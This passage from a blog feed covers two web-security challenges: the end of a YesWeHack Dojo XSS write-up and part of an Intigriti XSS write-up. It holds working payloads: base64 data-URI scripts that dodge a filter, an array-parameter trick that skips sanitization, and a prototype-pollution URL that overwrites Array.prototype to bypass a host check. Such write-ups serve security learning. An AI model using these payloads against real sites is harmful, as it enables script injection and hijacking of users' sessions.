&lt;p&gt;After submitting the payload I could see that I’m able to bypass the filter and execute JS code.&lt;/p&gt;

&lt;p&gt;Reflected payload:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;script&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;text/javascript&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;src&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;data:;base64,YWxlcnQoIlhTUyIp&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;/script&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Javascript code execution:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/static/img/posts/ywh_dojo_17_2.png&quot; alt=&quot;ywh_dojo_17_2_noborder&quot; /&gt;&lt;/p&gt;

&lt;p&gt;However when I tried to read the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;secret&lt;/code&gt; variable, I got the following error in Dev Tools:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/static/img/posts/ywh_dojo_17_3.png&quot; alt=&quot;ywh_dojo_17_3&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This happens as the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;secret&lt;/code&gt; variable is initialized after the injection point happens, so when we execute our JS code, there is no &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;secret&lt;/code&gt; variable to access! We can fix this error by adding &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;document.addEventListener(&quot;DOMContentLoaded&quot;, function(){&amp;lt;PAYLOAD&amp;gt;})&lt;/code&gt; to our payload. This way our code will wait before the DOM finishes loading so we will be able to access every variable initialized.&lt;/p&gt;

&lt;h3 id=&quot;plaintext-payload-2&quot;&gt;Plaintext Payload 2&lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;document.addEventListener(&quot;DOMContentLoaded&quot;, function(){alert(secret);;}); //extra semicolons (;) are to remove equality symbols (=) from the base64 payload as they get filtered out and brake our payload 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;base64-encoded-payload-2-with-data-uri-scheme&quot;&gt;Base64-encoded Payload 2 with ‘data’ URI scheme&lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;data:;base64,ZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigiRE9NQ29udGVudExvYWRlZCIsIGZ1bmN0aW9uKCl7YWxlcnQoc2VjcmV0KTs7fSk7
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After injecting the final payload we can successfuly access the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;secret&lt;/code&gt; variable thus completing the challenge:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/static/img/posts/ywh_dojo_17_4.png&quot; alt=&quot;ywh_dojo_17_4_noborder&quot; /&gt;&lt;/p&gt;

</description>
          <pubDate>Mon, 06 Jun 2022 11:00:00 +0000</pubDate>
          <link>https://www.brzozowski.io/web-applications/2022/06/06/yeswehack-dojo-17-challenge-writeup.html</link>
          <guid isPermaLink="true">https://www.brzozowski.io/web-applications/2022/06/06/yeswehack-dojo-17-challenge-writeup.html</guid>
          
          
          <category>web-applications</category>
          
        </item>
      
    
      
        <item>
          <title>Intigriti&apos;s April XSS challenge writeup</title>
          <description>&lt;p&gt;&lt;img src=&quot;/static/img/posts/intigriti_logo.png&quot; alt=&quot;intigriti_logo&quot; /&gt;&lt;/p&gt;

&lt;p&gt;XSS challenges are a great way to learn cool tricks on how to exploit client side and circumvent browser’s security measures. This months Intigriti XSS challenge was made by &lt;a href=&quot;https://twitter.com/aszx87410&quot;&gt;@aszx87410&lt;/a&gt;. The requirements for the solution were simple:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;It should work on the latest version of Chrome and FireFox.&lt;/li&gt;
  &lt;li&gt;It should execute alert(document.domain).&lt;/li&gt;
  &lt;li&gt;It should leverage a cross site scripting vulnerability on this domain.&lt;/li&gt;
  &lt;li&gt;It shouldn’t be self-XSS or related to MiTM attacks.&lt;/li&gt;
  &lt;li&gt;It should not require any kind of user interaction. There should be a URL that when visited will present the victim with a popup&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;As we open the link with the challenge we are immediately stroke by a nostalgia wave of the Windows XP CSS styling.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/static/img/posts/intigriti1.png&quot; alt=&quot;intigriti1_noborder&quot; /&gt;&lt;/p&gt;

&lt;p&gt;On the webpage we can see a “Window Maker” program, and when we enter some dummy data a custom “window” in generated.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/static/img/posts/intigriti2.png&quot; alt=&quot;intigriti2_noborder&quot; /&gt;&lt;/p&gt;

&lt;p&gt;When we open the request in the Burp Suite we can see the following request:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GET /challenge/Window Maker.html?config[window-name]=testname&amp;amp;config[window-content]=testcontent&amp;amp;config[window-toolbar][0]=min&amp;amp;config[window-toolbar][1]=max&amp;amp;config[window-toolbar][2]=close&amp;amp;config[window-statusbar]=true HTTP/2
Host: challenge-0422.intigriti.io
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After trying some basic payloads we can observe that the app is escaping some “malicious” characters in the JavaScript.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/static/img/posts/intigriti3.png&quot; alt=&quot;intigriti3_noborder&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The culprit of this encoding is the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sanitize()&lt;/code&gt; function.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;isPrimitive&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;n&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;n&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;undefined&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;typeof&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;n&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;typeof&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;n&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;boolean&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;typeof&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;n&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;number&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;merge&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;target&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;source&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;protectedKeys&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;__proto__&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;mode&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;version&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;location&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;src&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;m&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;

  &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;key&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;source&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;protectedKeys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;includes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;isPrimitive&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;target&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;nx&quot;&gt;target&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;sanitize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;source&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;nx&quot;&gt;merge&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;target&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;source&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;sanitize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;typeof&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!==&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;data&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;replace&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;&amp;lt;&amp;gt;%&amp;amp;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\$\s\\]&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;/g&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;replace&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;/script/gi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;The function replaces every occurence og the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;&amp;gt;%&amp;amp;&lt;/code&gt; characters and replaces it with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;_&lt;/code&gt;. Every occurance of word &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;script&lt;/code&gt; is replaced too. However if the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;typeof data !== &apos;string&apos;&lt;/code&gt; condition is not met, the function will not sanitize the user input and simply return the data. To bypass this we can add square brackets &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[]&lt;/code&gt; to the URL parameter, so the function will treat the input as an array. With the following payload, we can bypass sanitization, but still no XSS as the tags are not rendered into DOM tree.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;https://challenge-0422.intigriti.io/challenge/Window Maker.html?config[window-name][]=&amp;lt;asd&amp;gt;&amp;amp;config[window-content][]=&amp;lt;asd&amp;gt;&amp;amp;config[window-toolbar][0]=min&amp;amp;config[window-toolbar][1]=max&amp;amp;config[window-toolbar][2]=close&amp;amp;config[window-statusbar]=true
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;/static/img/posts/intigriti4.png&quot; alt=&quot;intigriti4_noborder&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The URL passed to the application is parsed using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;parseQueryString(location.search)&lt;/code&gt; function. Later we can see, that if the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;checkHost()&lt;/code&gt; function will be bypassed, we will be able to overwrite the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;devSettings&lt;/code&gt; object.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;checkHost&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;devSettings&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;isTestHostOrPort&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;merge&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;devSettings&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;qs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;settings&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;checkHost&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;temp&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;location&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;host&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;split&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;hostname&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;temp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;port&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Number&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;temp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;443&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;hostname&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;localhost&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;port&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8080&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;By exploiting a prototype pollution in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;merge()&lt;/code&gt; function we are able to overwrite the prototype of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Array&lt;/code&gt; and change the value of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;temp[1]&lt;/code&gt; to 8080. This can be done by appending the following parameter to the URL:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;nx&quot;&gt;config&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;toolbar&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;constructor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;prototype&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8080&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;The above exploit works as there is no &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;prototype&lt;/code&gt; string in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;protectedKeys&lt;/code&gt; array:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;protectedKeys&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;__proto__&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;mode&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;version&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;location&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;src&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;m&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;So now we can overwrite the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;devSettings&lt;/code&gt; object by simply passing the parameter &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;settings&lt;/code&gt; in the URL:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;https://challenge-0422.intigriti.io/challenge/Window Maker.html?config[window-host]=asd&amp;amp;config[window-content]=sad&amp;amp;config[window-toolbar][constructor][prototype][1]=8080&amp;amp;settings[isDebug]=POLLUTED
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;/static/img/posts/intigriti5.png&quot; alt=&quot;intigriti5&quot; /&gt;&lt;/p&gt;

